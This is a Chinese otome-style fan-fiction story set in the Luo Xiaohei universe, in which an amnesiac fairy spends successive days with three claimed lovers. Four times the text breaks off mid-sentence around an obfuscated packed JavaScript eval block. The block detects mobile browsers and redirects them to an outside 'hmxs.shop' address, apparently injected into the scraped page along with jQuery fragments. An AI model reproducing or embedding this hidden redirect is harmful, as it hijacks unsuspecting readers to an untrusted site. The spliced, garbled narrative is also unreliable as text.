《[罗小黑战记]我的妖精生活不可能像乙女游戏》 1. 失忆第一天 1. 自称哪吒的少年对我说，我在昏过去之前恳求他，帮我通知家属。 我大惊失色。 “……所以你就通知了三个？！” 先不说我为什么会有这么多家属，就算我真的有，正常人也不应该全部通知吧？这不是在给我添乱吗？ “你的置顶有四个人，我问了，他们刚好都想来。”哪吒将手枕在脑后，一脸无辜，“那就来呗。” 等等，怎么有四个？那还有一个是谁？ “我啊。”哪吒气定神闲。 我倒吸一口气。 比起接受自己是海王，男女通吃什么的，更可怕的是老少通吃！连这么小的孩子都不放过，我还是人吗？ 好消息，我真不是人。 我是妖精！ 坏消息，我真不是人。 我失忆了，有三个妖精说自己是我的对象。 我竟然脚踏三只船！ 虽然失忆让我脑袋空空，但我坚定地认为，我不是一个时间管理大师。 一定是哪里出了问题！ 喂喂，听得见吗？我的游戏系统页面呢？是时候弹出三个选项，让我选角色进线啦。 哪吒吐槽我：“这是什么死宅发言。” 从对话来看，哪吒应该不属于我的鱼塘，只是一位把我送到医院的好心朋友……就是瞧他这副想看热闹的模样，似乎也称不上是什么“好心”。 “其实我也感觉有点问题。”哪吒摸着下巴说，“不过事已至此，你姑且选一个吧。” 我捂住脸：“选项居然是人工的吗？！” 总而言之，我真的什么都不记得了……如果可以的话，还请大家做一下自我介绍。 似笑非笑的眯眯眼男子：“哎呀，失忆可真是始乱终弃的好理由呢。” 看起来相当英姿飒爽的姐姐：“……呵，有点意思。” 有点无措的黑发小辫子男大：“我是甲。” 我非常感动地看着甲，天呐，只有小甲同学在认真听我的话！ 可能是我的眼神鼓励了他，甲再次开口的时候，语气已经不再无措。 “我是甲。”他认真地说，“是你的男朋友。” “……” 另外两位眼神不善地看了过去。 感觉气氛变得有些奇怪。 不安desu…… “别这样。人家只是在介绍自己，谁让你们刚才不好好说话？”哪吒摆弄着游戏机，头也不抬，“做前辈的，不要太小气嘛。” 虽然我很感谢哪吒出来调节气氛，但是……这个前辈，究竟是哪方面的前辈啊？ 2. “哪吒大人说得是。”眯眯眼男子笑了一下，目光落在我这里，“在下是西木子。” 西木子，我咀嚼了一下这个名字。 感觉念起来很顺口，是因为我以前常说吗？那么，他和我的关系是？ “自然是那种关系。”西木子晃了晃手里的扇子，他说话的声音很好听，像狐狸一样勾人，又有些暧昧不清，“但除此之外，我还是你的……” “师叔。” 我眨了眨眼睛：什么，老狐狸吃嫩草！ 可能是看出了我正在想什么不太礼貌的事，一旁的女孩嗤笑一声。 西木子不看她，只是幽幽地提醒我：“甲的师父是池长老，你们共事过一段时间。” 我再次眨眼睛：什么，甲是我同事的徒弟？哈哈，那没事了…… 原来我也吃嫩草啊！嚼嚼嚼。 嗯，现在还没有自我介绍的就只有—— “鹿野。”她说，“我的名字。” 这名字真好听，我不由得感叹。 不过鹿野没有介绍她和我的关系诶，是觉得不必多说吗？ “你真的什么都不记得了？”鹿野一脸审视地看着我，语气平淡，却隐约透露着些许不满。我因此后知后觉地意识到，虽然失忆的是我，但被我遗忘的人也是受害者。 有些记忆就像是共有的财富，而我弄丢了它们。 然而不等我垂头丧气地表达歉意，头发就被人揉了两下。 是鹿野。 “别多想，你人没事就好。”她收回手，又看向哪吒，“哪吒大人，如果没别的事，我就带她走了。” 诶，带谁走，我吗？ “且慢。”西木子用扇面轻轻地拦了她一下，“这话应该是我来说才对。” “……哦？” 一时间，空气中似乎有什么暗流正在涌动，剑拔弩张。 糟糕，这场景……我懂，我超懂！这就是传说中的修罗场啊！ 倘若主角不是我，我一定会美滋滋地看乐子，但此时此刻，我正处于风暴的中央。大事不妙，快来人把他俩拉开啊，别等会真打起来了，万一打着打着同仇敌忾，一起找我算账…… 我东张西望起来，对上了甲的目光。 甲似乎一直在看我，见我十分着急，他张了张口，没发出声音，但我很神奇地听到了他想传达的内容。 “哪吒大人。”他提醒我。 对哦，从刚才的对话来看，哪吒的地位似乎在他们之上，我可以请他来主持大局…… 我立刻看向哪吒，用眼神发射求救信号。 哪吒收到了我的眼神暗示。 少年嘁了一声，从椅子上跳下来：“你们啊，未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743478|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免也太心急了。一周可是有七天，分一下不就好了？” ……不是，这对吗？ 脚踏三只船已经很夸张了，哪吒竟然想让我的三条船对我轮流接送？人家能同意吗？可别最后船翻了把我淹着了呀，我失忆得很彻底，压根不记得怎么游泳…… “好主意。”西木子收回扇子，敲了敲扇柄，“那我一二三？” “别自顾自地做决定。”鹿野说，“那我四五六。” 喂，你们俩也没差别啊！ 甲“呃”了一声：“我是星期天吗？” 别这样，听起来很可怜的样子…… “星期天归我。”哪吒说。 众人：？ “我们还要打游戏呢。”哪吒抱着游戏机，一脸理直气壮，“总不能为了恋爱就抛弃朋友吧？还是说……” 他扫视全场，语气变得玩味起来。 “你们想从我手里抢人？” ……莫名有种危险的意味。 “岂敢岂敢。”西木子接过话来，一副游刃有余的样子，“那就先每人一天吧？一直失忆也不是个办法，总得有人帮她记起来吧。” 确实，虽说失忆是很好的免责声明，但忘记很多事情的感觉太不美好了。如果可以的话，我还是希望自己能够恢复记忆。 “要是想不起来呢？”鹿野一针见血地说，“难道要再轮流一次？” “我是无所谓。”西木子看向我，“你觉得呢？” 哈哈，可以说吗？还是不说了吧…… 其实我正在想，还有轮流约会这等好事？ 感谢上天的馈赠，我将好好珍惜，love and peace…… “好吧，看来没什么好方法了。”鹿野皱了皱眉，“顺序怎么定？” “猜拳怎么样？”甲试探道。 之后，房间里只剩下了我和哪吒。 我眼泪汪汪地说：“哪吒，是我误会你了，原来你是我的‘管家’啊。” “……听起来像是什么老爷爷。”哪吒抽了抽嘴角。 不不不，不是那种管家啦，是乙女游戏里的。 通常来说，乙女游戏总会有一种助攻角色，他们各方面都像男主一样完美，而且坚定地站在女方这边，缺点只有“不可攻略”。 哪吒露出了若有所思的神色。 忽然，他向前倾身，在我耳边说：“不试试怎么知道？” 诶？什么？等一下，好近…… “我是说，不试试怎么知道，我能不能被攻略？”哪吒说，声音里有几分恶作剧一般的笑意。 “……” 就这样，我的妖精生活像乙女游戏一样展开了。 2. 西木子1 3. 失忆的第二天。 西木子来会馆接我。 哪吒本来要送我们出来，但西木子很礼貌地来了一句“哪吒大人，请留步”，于是哪吒撇撇嘴，转身回去了。 “他这么听你的话？”我有些诧异。 “说实话，我也有点惊讶。”西木子挑了挑眉，“我还以为……算了，这样也好。如果哪吒大人也要加入，胜率又要重新估算了。” 我：？ 叽里咕噜地说什么呢，听不懂。 “你真的是我的交往对象吗？”我怀疑地看着他。 这狐狸一看就很聪明，而聪明人总是喜欢说一些谜语话，神秘莫测的，我不觉得自己会喜欢这种类型。 而且，像他这样的妖精，真的会喜欢什么人吗？ 西木子笑而不语，他只是朝我伸出手，我的手就很自觉地落在了他手里，然后被他这样牵着，一路向前走去。 ……这算什么，我的脑子失忆了，但身体还保持着习惯？ 有点奇怪的一句话。 不过，做妖精要对自己宽容一些！比起反省，我选择刁难西木子。 瞧瞧，他未免有点太驾轻就熟了，好像这种亲昵的举动发生过无数次一样，是因为他的感情史比较丰富吗？ 哦对，他是我师叔来着。 这说明他可能是看着我长大的，所以做这种事才很自然，因为我小时候他也是这样牵着我。说不定还抱过我！ 哇，居然能够如此丝滑地接受这种关系的转变，可见西木子不具备什么伦理道德。 “师叔，请问您从什么时候开始变态的呢？”我故作好奇地问。 此话具有一举两得之妙，一方面是我想噎他一下，作为刚才陷入被动的反击，另一方面则是想借此试探我们以往的相处模式。 “啪嗒”一下，扇柄敲在了我的脑袋上，不轻不重。 “不必装模作样。”西木子说，“你在我面前一向没大没小，早就对我直呼其名。” 我假模假样地吃惊起来：哎呀，人家这么调皮的吗？一点都不尊重长辈，可恶可恶。 “嗯，确实可恶。”西木子表示赞同。 嗯？真觉得我可恶？不应该吧。他肯定在背地里觉得我很可爱才对，不然怎么会是我的“恋人”呢？没错，一定是这样。 “以前每次见到你的时候，你远远地瞧见我，就会大喊‘西木子’，然后像一阵风一样跑过来，张口就是一句——”他笑，“给我带的礼物呢？” 我稍稍目移，好像是我能做出来的事。 “真是忘得一干二净啊。”西木子打量着我，叹了口气。 明明是在责怪，语气却有些缱绻，我一时间为之愣神，只觉自己好没心肝。 不行不行，不可以轻易地就被蛊惑！ 既然他都这么说了，那我就复刻一下经典场景好了。 我伸出空着的手，理直气壮地看他：“给我带的礼物呢？” 西木子微微一怔，笑了一声。 “不对。”他用扇柄指了指远处，“你应该从那边跑过来。” ……要求还挺多！ 算了，就当是哄哄他吧，我可不想跟一个怨夫待上两天。 “那你倒是松手呀。”我说，他握得这样紧，我怎么跑到那边，然后再跑过来呢？ 西木子蹙了蹙眉。 “突然发现，我不太喜欢这种放手的感觉。”他说。 啊？好莫名其妙。那我来吧。 “那不是更奇怪了吗？感觉像是被你抛下了。”西木子摇开扇子，扇面遮住半张脸。 “……” 我再次怀疑我为什么会和他交往。 怎么说呢，西木子分明是聪明人，却意外的有点幼稚，居然在这种小事上斤斤计较，非得让我哄他。 不对，我本来就是在哄他啊！ “没有那种意思。”我义正词严地说，“只是为了再次跑向你。” 或许是被我说服了，或许是他自己想要妥协，总之我自由了，只是心里有点犯嘀咕。走出好一段距离后，我这才转过身来，朝他挥手。 感觉西木子就像一团棉花，瞧着软绵绵的，但触碰到就会陷进去。哪怕是想给他一拳。 “西木子——” 像风一样是吧，我今天就让他知道，什么是风花雪月里的风字。 我朝着西木子狂奔过去，街边飘落的花瓣都被我带起的风卷起来，四处飞扬，连同我被吹乱的头发，乱糟糟的，像水草。 哎呀，好像跑太快刹不住了…… 但是，西木子向前一步，接住了横冲直撞的我。 “给我带的礼物呢？”我原本应该这样说。 然而此刻，我恍惚地想，倘若我的额头上有一对美丽又危险的角，这样近的距离，应该会把他撞伤。不过我没有角，额头也硬邦邦，但这样的我，仍旧是可爱的。 至少西木子这样认为。 他的衣服闻起来很香，应该是用了香水。 “……以前也有这个步骤吗？”我闷声问道。 “有啊。”西木子说。 才不信，我应该是拿了礼物就走才对，不可能给他这样热烈的拥抱。 “你这是耍赖。”我嘀嘀咕咕。 “嗯，那就耍赖。” 所以我的礼物呢！ 西木子早有准备：“这就带你去看。” 在拥抱结束的瞬间，我听到西木子说—— “快点想起我吧。” 4. 西木子说，今晚有流星雨。 好耶！那我们是要去方便观测的地方了？ 不过真没想到，他居然还是一个文艺男……但这确实也很符合他的风格，我是说，单从外表来看，长发和眼镜什么的。 “不是我想看。”西木子纠正我，“是你。” 他说，以前他跟我提起过这事，从那之后我就一直惦记着想看。然而那时候的通讯不怎么方便，我连着错过了几次，大家都没少听我抱怨。 不得不说，听别人说自己毫无印象的事，这感觉很新奇。通常情况下，当事人既然毫无印象，难免会想，我真的做过这种事吗？别是在骗我吧？ 但在西木子提到流星雨的时候，我确实被勾起了兴趣。 因此，无论他这话是真是假，我都当他是投我所好了。 我喜欢别人为我花心思。 “要求是不是有点太低了？”西木子说。 我趁机批评他：“是你要求太高了吧？” 牵着的手被他晃了晃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743479|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你是在自夸吗？”他轻笑一声。 其实我的本意是想说西木子曲高和寡，所以孤零零的，没想到他却说我符合他的高标准，反过来肯定了我。 我转了转眼睛，看他：“西木子，你为什么不收徒啊？” 西木子答非所问：“我们之前进行过这样的对话。” 是吗？那他上次是怎么回答我的？ “我回答你，因为怕徒弟会爱上我。”他笑。 “……好自恋哦。”我忍不住吐槽。 西木子不置可否：“你上次也这么说。” “那现在呢？”我问他，“你的答案发生变化了吗？” 说这话的时候，我们正站在传送阵上。西木子似乎是回答了我，但他的声音太低了，我还没来得及听清，就和他一起闪现到了另一个会馆。 我的注意力被转移了。 因为我左看右看，怎么看都感觉周围是城区，跟我想象中的地势较高、视野开阔的观测点大不相同。 “时间还早。”西木子解释说，“去熟悉的地方走走吧，也许对恢复记忆有帮助。” 哇，考虑得还挺周到，不愧是长辈。 我欣然接受了这个提议。 见我深以为然，西木子冷不丁地说：“其实这是借口。” 我：？ 喂，这不是显得没有听出来是借口的我像个笨蛋吗？ 而且既然都是借口了，那就装到底啊，突然坦白一下算什么？ 我没好气地看他：“所以呢，为什么来这里？” 西木子勾唇一笑。 “因为我想为你做点什么。”他答。 这附近有商业区，适合购物。 原来是想给我送东西啊……这家伙，我才说完喜欢别人为我花心思，他就来这套。瞧他这一脸从容的模样，大概是早有准备。 很了解我嘛。 感觉这样不太公平，他对我如此熟悉，我却对他所知甚少……以及，我很怀疑原本的我对他就不算很了解，因为他实在不像那种会袒露内心的妖精。 我决定再试探一下他。 “怪不好意思的，我也给你挑件礼物吧？”我说。 “好啊。” 就这样，我们进了一家服装店。 抢在他之前，我拿起一件休闲风格的男装，问他：“这件你喜欢吗？” “不错呢。” “那这件呢？” “也挺好。” “……” 连续问了几次，西木子都笑眯眯的，即使我选中的衣服风格各不相同，他说出的答案也大差不差。可恶，此人真是滴水不漏……他是怎么做到连我拿的小狗图案T恤都能表示“很合适”的，有本事他真穿啊！ 我再次批评西木子：“你太不真诚了。” 西木子说我冤枉他。 “我一直很真诚。”他说。 哼，这话说出去，有几个妖精会信？信的就把联系方式给我，我之后会给他们推销保健品。 见我真的不信，西木子叹气，一脸伤心的样子：“有没有可能是，只要是你选的，我都喜欢？” 哄我呢。 西木子“哎呀”一声，说错了错了，这不是哄人。 “这是爱屋及乌。”他说。 3. 西木子2 5. 轮到西木子给我挑衣服，转眼间我手里就多了好几个袋子，身上的衣服也换掉了。本以为这样就足够，转身却又被他拉进了另一家店。 做什么，在玩妖精版换装游戏？ 我再次试图分析西木子。 审美这种东西在一定程度上可以反映人的思想。 比如，如果西木子给我挑选的都是露肤度很高的衣服，那他无疑是个色胚。再比如，如果他给我选的都是比较保守的衣服，那他的想法可能比较保守（真的吗？），不太希望别人注意到我。 很快，我就得出了结论。 ……呃，他的审美很到位。 西木子不语，只一味地选他觉得我穿起来会好看的衣服。 他为我选的衣服面面俱到，可谓是无懈可击——什么风格都有，而且都很合适。看来他购物标准不在于他，而在于我。 开玩笑的，其实他话挺多的。 比如刚才，他说他去给我买奶茶。我说你就把我撇在这里啦？人生地不熟的，我要是走丢了，会合起来不是很麻烦？ 西木子说没事，要是我走丢了，他就去找商场的工作人员，然后我就会听到广播说，请丢失的小朋友到咨询台这里来，你的老师在等你哦。 这话自然也是玩笑，因为我和他都有手机。 但是，我挑眉：“老师？” 他可不是我师父。 “其实差一点是。”西木子说。 原来当初太师父的朋友捡了一个小妖精，能力比较适合我们师门，他就问自己的两个徒弟，你们谁愿意收徒呢？ 西木子是自由的西木子，他连夜下山云游去了。 ……这么缺乏责任感的事情，居然好意思拿来说啊。 说到这里，我不由得想起了我们经过传送阵时，他那似有如无的回答，于是再次问他，他现在的答案是发生变化了吗？ 西木子说，算是吧，之前是怕徒弟爱上他，现在反过来了，怕他爱上人家。 这狐狸自带一种多情的气质，以至于说这种话的时候，有种理直气壮的感觉，让我看了觉得很不顺眼。 “哎呀，难道我不是师叔您最爱的宝贝了吗？”我故意用做作的语气说，“怎么听起来，您像是见一个爱一个呢。” 西木子被我逗笑了。 忽然，他凑近我，手指捏起我的头发把玩，绕到他的指尖上。 “所以我不能是你的师父呀。”他说，呼吸近在咫尺，最后却落在了他的指尖，在我的发丝上轻吻一下，“我怕我爱上人家……” “可她却不爱我。” “……” 直到奶茶出现在我手中时，我都还有点恍惚。 我之前说，西木子是那种哪怕想给他一拳，但触碰到就会陷进去的棉花，这评价还真没错。瞧他先前那些话，意有所指，又带着点控诉，甚至还能算是在拐着弯的表白……很容易就让人有负罪感，而且相当蛊惑人心。 但是，讲道理，如果我们真的是交往对象，那我也不是不爱他嘛，我只是同时爱了好几个，然后把他忘了。 这话听起来有点渣，可我又不只是把西木子给忘了，我全都忘了呀，多公平！ “是在想什么不太礼貌的事情吗？”西木子说。 才没有。 我打算狡辩一二，于是抬头看他，却发现他不知何时已经换了身衣服。 ……诶？有点眼熟的设计。 好啊，我不由得挑眉，这狡猾的狐狸！ 原来刚才买的那些衣服都是障眼法啊。早说带我去服装店是为了穿情侣装不就行了，偷偷换上同款衣服什么的，也太像是纯情少年，可不符合他的作风。 “拐弯抹角的，这就是您所谓的真诚？”我质疑他。 西木子面不改色。 “你方才在观察我为你选的款式吧？因为审美这种东西在一定程度上可以反映人的思想。”他笑眯眯地说，“那么，你的结论是？” 我微微一怔。 他怎么知道我在想什么……但说真的，我什么结论也没得出来，因为西木子实在挑不出来问题。然而，如果说之前的西木子是滴水不漏，那现在主动暴露出目的的他，算是在对我坦诚相待吗？ 思考了几秒钟，我决定趁机揶揄他。 “我怎么记得，似乎有人说我可恶什么的？” “好像是这样，那该怎么办呢？”西木子装模作样地喟叹道，尔后又笑起来，“原谅他吧。他只是……” “不想轻易说‘爱’。” 于是我被读作“可恶”，写作“可爱”。 6. 路过的女孩对同伴说，附近有一场音乐节。 西木子问我想不想去凑热闹，他记得我对这种事情很有兴趣。 我说可以呀，但现在已经临近开演时刻，不用想都知道票不好买……话说堂堂长老，居然偷听人家小姑娘讲话？难怪这么了解我，怕是没少在我身边偷听？ “嗯……”西木子笑了笑，被质疑了也很从容，“可能是风也知道我很在意，所以你感兴趣的事，总是会自动送到我的耳边吧。” 又在哄人。 “所以你想去吗？” 他在人类世界有门路，临时搞到门票也不成问题，只要我想去。 我歪歪脑袋，反问他：“如果进去后发现演出不好看该怎么办？” “直接走就好。”西木子说，一副了然的模样。 我也了然，看来这种事情我和他以前没少做。 是呢，西木子微微颔首。说是以前有段时间，他师父老人家突然沉迷唱戏，要徒弟徒孙都来旁听，咿咿呀呀的，一本戏下来要好几个小时，谁能坐得住？ 听起来很不给太师父面子呀。 “我猜我最多只能听完一折子。”我也不给面子地猜测道。 西木子就笑，说那是他。 “你在他一开口的时候就不耐烦了，一直往我这里丢石子，叫我想办法带你溜走。”他做出回忆的模样，“不知道的还以为你在学精卫填海。” 这话说得好生促狭。 “那海被填平了吗？”我问。 西木子轻笑一声：“当然，毕竟师父唱得实在不怎么好听。” 说这话的时候，我们已经来到演出的场馆附近了，里面正在放音乐，声音很大，隔着一段距离都能被热闹的气氛所感染。 然而，我突然就不想进去了。 经过这大半天的相处，我认为自己对西木子多少也了解了一些。 虽然他长着一张看起来很会说谎的脸，也不像是真的会喜欢什么人的妖精，但他确实是真诚的，至少在我面前是。 只是…… 他是如何确定，我不爱他的呢？ 是因为我曾说过这样的话吗？ 还是因为……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743480|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “西木子。”我唤他，示意他附耳过来，因为周围太吵了。 “怎么了？”他照做。 我在他耳边说：“我们——” “逃走吧！” “……” 西木子错愕地看着我。 像是得到了最关键的拼图碎片一样，这一刻，许多记忆的画面突然在我的脑海里涌现。 我想起了一些事。 太师父和师父都禁止我下山，所以我很依赖经常来往于外界的师叔，也就是西木子。他总是对我讲人间的故事，以至于他不回来的时候，我总是觉得很寂寞。 但是，我向往的究竟是我无法触及的世界，还是这个为我讲故事的人呢？ 我以为我无法给出答案，可在机会到来的时候，我还是做出了选择。 那次西木子没给我带礼物。他告诉我，他的朋友夜观天象，知道最近会有一场流星雨，如果我想去看，他可以替我说服长辈们。 我吐槽他，流星是从天上掉下来的，算是上天的馈赠，他怎么好意思拿来做礼物？ 话是这么说，我还是很想去看，便央求他了。毕竟西木子很厉害，有他陪着我，绝对不会出什么岔子——出于对他的放心，太师父和师父终于松口，同意我下山。 现在想来，西木子真是我见过最聪明的妖精，从来只有他算计别人的份，没有别人利用他的可能，除非…… 除非是他自愿。 那么，就像以前从太师父的戏曲魔音下溜走一样，像我在会馆里上课感到厌烦于是写信找他带我出去玩一样，像我央求他陪我去看流星雨，结果在星辰坠落前独自溜走，跑到外面闯荡一样……从既定的世界秩序下，逃走吧。 这才是他送我的礼物。 西木子怔了一会，忽然望着我笑了。 “以前师父唱的戏，你最在意那出卓文君。”他看着我说，“那时候我就知道你在想什么……只是我一直都认为，感情与责任一样，都是一种束缚。” 我原以为他会再说些什么，比如告诉我他送我那份礼物的理由，再比如要我给他什么回答，这样我会对他说一句迟来的道歉，还会说我只是想起了一些事，记忆并不完全。 但他什么也没有说，只是拉住了我的手。 然后，我们从人群中离开，经由传送阵，奔向广阔的山间。 距离流星的到来还有一段时间。 坐在小木屋的屋顶上，我托着脸看西木子：“太师父的戏你会唱吗？” “不会，但唱词记得那么两句。”他答。 哦？那我倒要听听看，是什么句子能被他特意记住。 “……自识春风面，情怀解不开。”西木子悠悠地念道。 恰有山风拂过，将我的发丝吹起，他伸出手，为我拂开吹乱的头发。其实我还有个问题想问他，我想知道，他先前说，如果哪吒大人加入，胜率又要重新估算了……那么，他为自己估算的胜率是几成呢？ 只是这种问题，问了大概也不会有什么结果，只会被他糊弄过去吧。虽说西木子还算真诚，但每个人都有自己不想回答的问题。 不过，他已经为我解答了一个疑惑。 我不由得看向他。 像他这样的妖精，真的会喜欢什么人吗？ 感情与责任一样，都是一种束缚，但是—— “和你在一起的时候，总是自由的。”西木子说。 4. 西木子鹿野 7. 失忆的第三天。 我拿出手机，发送当前位置。 鹿野：「？怎么在这种深山老林」 啊，是不太方便过来吗？那我过去找她也可以的。但不等我这么回复，鹿野的下一条消息就已经从屏幕上弹了出来。 鹿野：「等着，我去接你。」 做事风格很雷厉风行呢……也不知道我和她是如何认识的，又有怎样的故事。难道我要跟每个人相处下来，才能解锁对应的记忆吗？ 真是太难为我了。 思考了好一会，我问西木子：“鹿野是个什么样的人呢？” “你确定要让我回答吗？”他晃晃扇子，“提醒一下，我和她姑且算是情敌哦。” 这么一说，上次他俩见面时的确有点针锋相对的味道。但这是因为他们俩的性格都比较强势吧？像是小甲同学，人家就表现得很平和，哪吒也是，同样是我的置顶，却一直是置身事外的感觉。 “平和？置身事外？”西木子好像听到了什么笑话一样，不由得笑了一下，这种他懂我却不懂的感觉让我有些恼火，想要给他一拳。 而在这时候，山脚下响起了机车驶过的轰鸣声，随后是非常意有所指的鸣笛，声音很响亮，像是某种信号。 是鹿野来了吗？ 我正想过去看看，却被西木子拦了拦。 “鹿野……她对待感情很认真。而且她的能力非常适合追查。”他笑眯眯地说，“最好不要被她发现，你在三心二意。” 我：？ 这是什么适合出现在出轨场合的对话……他是我的情人吗？ 好啊，前有心灵系高手西木子，连人做梦在想什么都能窥探一二，后有刑侦高手鹿野，走到哪都能被她追踪…… 我居然能在这种情况下谈三个？那我还真是很厉害了。 “这话说的，难道你对待感情就不认真吗？”我不爽地说道，“你就是因为总是这样回避，以至于说真话也没人当真。” 说完这话，我也不再理他，只是朝着山下走去。 鹿野正在整理头发，她今天编的辫子很好看，头盔挂在了车把上。见我走过来，她递过另一个头盔给我，又对西木子说：“人我就接走了。” 平铺直叙，但有点挑衅。 西木子的反应却很平静，没有像第一天那样跟她唇枪舌剑：“嗯，路上小心。” 鹿野有些惊讶。 “哪吒大人不是说了吗？做前辈的，不要太小气嘛。”西木子微笑道，“对于甲来说，你也算是前辈吧。” “……” 鹿野偏过头来问我：“坐稳了吗？” “稳稳的！”我隔着头盔回答她。 她笑了一声，却没有立刻戴好头盔，而是转身检查了一下，看我有没有把头盔戴好，然后又说：“你可以再靠前一些。” 这附近人迹罕至，所以，她的车速会很快。 我有些紧张地向前靠了靠，然后看向西木子，对他挥手道别。不等西木子再说些什么，机车嗖地一下飞了出去，吓得我连忙抱紧了鹿野，整个人都贴在她的后背上。 等等，这样留给西木子的岂不是只有一串尾气…… 在无人的公路上，机车兀自向前奔驰着。 我想要说话，张嘴却灌了风：“咳咳……” 车速放缓了一些。 “怎么了？”鹿野高声道。 “今天——有什么——安排？”我大声问她。 鹿野似乎又在笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743481|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>机车在路边停下。 她摘下头盔，打量了我一番。 “你想去哪里？”她问。 “我想去游乐园……”我老老实实地说道。 但我怕她不乐意。 “那就去呗。”鹿野点头。 诶，但是鹿野看起来不是会去游乐园的人吧？我是说，气质不太符合。 “我确实不怎么去，只是陪小黑去过。哦，我以前跟你提过，小黑是我师弟。”鹿野说，“不过，你想去不是吗？所以，那就去。而且……” 我微微一怔。 头盔的挡风镜被向上挪了挪，我和鹿野对视。 “而且，你在紧张吧？”她定定地看着我。 ……果然一下子就被看穿了。 和西木子不一样，鹿野是个更直接的人。如果说西木子是比较循序渐进的风格，鹿野就稍显咄咄逼人了，即使她没有这种意思，只是我太心虚了而已。 但这让我怎么说呢，和自己的“恋人”相处却感到紧张……哇，简直是狼心狗肺呀。 鹿野不再看我，她慢条斯理地解着自己的机车手套。我趁机思考，但还是不知道该怎么回答，而在这时候，脸颊上却有微凉的触感。 我眨了眨眼睛。 原来是鹿野在捏我的脸颊。 可能是手感不错，她又捏了两下。 “唔？”我发出疑惑的声音。 “咳，前天的时候，吓到你了吧？我没有责备你的意思。记忆丢掉了，难免会忐忑。”鹿野说，“过去的记忆是很重要，但如果你真的什么也想不起来了……” 她笑了一下，看起来很潇洒，又充满意气。 “那再创造新的回忆就好。” “我会跟你一起。” 5. 鹿野1 8. 游乐园！游乐园！ 今天和鹿野去游乐园~！ 去会馆借用传送阵的时候，我就这样哼着不成曲调的歌。 鹿野走在我的旁边，步伐不徐不疾，时不时地有路过的妖精向她问好。她微微颔首，回应了他们的搭话，看起来对此习以为常。 嘿嘿，大家都很尊重鹿野呢，鹿野真厉害呀！ 我与有荣焉地想着，然后哼歌的声音突然顿住了。 “怎么了？”鹿野立刻看我。 我捂住了脸：“鹿野，我好像给你丢人了……” 那么帅气的鹿野大人身边，居然跟着一个傻乎乎地哼着歌的我，对比也太明显了，妖精们很难不注意到我吧？虽然去游乐园确实是值得开心的事情，但我刚才的表现也太像第一次出门的小狗了啊啊啊…… 手腕被轻轻地扣住了。 我微微一怔，偷偷地从手指的缝隙里看她。 “原来如此。”鹿野说，听起来好像有些想笑，“放心，大家早就习惯了。” 诶，这话是什么意思？ “意思就是，这种事情很常见。”她说。 在我失忆以前，我和鹿野经常走在一起，大家跟她打招呼时难免会留意到我。 一开始他们也会跟我问好，但这样会打断我哼歌的思路，于是我就跟他们说，以后只和鹿野打招呼就行——“这样好吗？”鹿野皱眉，“你很有可能被认成是我的小跟班。” “错了错了。”我摆摆手，“我不是小跟班，我是你的信号呀。” “信号？”她不解道。 古话说，未见其人，先闻其声。鹿野很安静，有时候都走到人家身边了，才会被发现，吓人一大跳。但我就不一样了，我会哼歌，只要听到我的声音，大家就知道鹿野来了，然后就会做好心理准备。 我是鹿野出现的信号！ “我刚才就在想，你怎么突然没信号了，原来你在意起了这件事……”鹿野的语气里有着笑意，“好了，听话。把手拿下来吧。” 听起来有点像在哄我。 哇，鹿野哄我，我真了不起！ 我听话地“嗯”了一声，顺着鹿野的力度，任由她拉下手腕。 但我还有个问题想问她，于是忍不住偷瞄她。 “嗯？”鹿野的声音忽然有些疑惑。 我刚想说怎么了，却见她微微倾身，视线与我齐平。我们的距离极近，鼻尖几乎碰到鼻尖，这让我下意识地睁大了眼睛，有些不好意思。 “怎……怎么了？”我小声地问道。 她的眼睛很亮，像是在看什么很新鲜的事情一样。 “你，”鹿野顿了顿，“脸好红。” 诶，诶？！ 我下意识地想要用惯用手摸摸脸颊，手却还被她握着。 下一秒，额头被什么触碰到。 “……” 呼吸在此刻屏住。 鹿野稍稍后退了一些——她方才用她的额头轻轻地贴了贴我的，好亲昵，像猫用毛茸茸的脑袋蹭人那样，又像是在测量体温。我猜是后者。 “我我我没有发烧。”我结结巴巴地辩解。 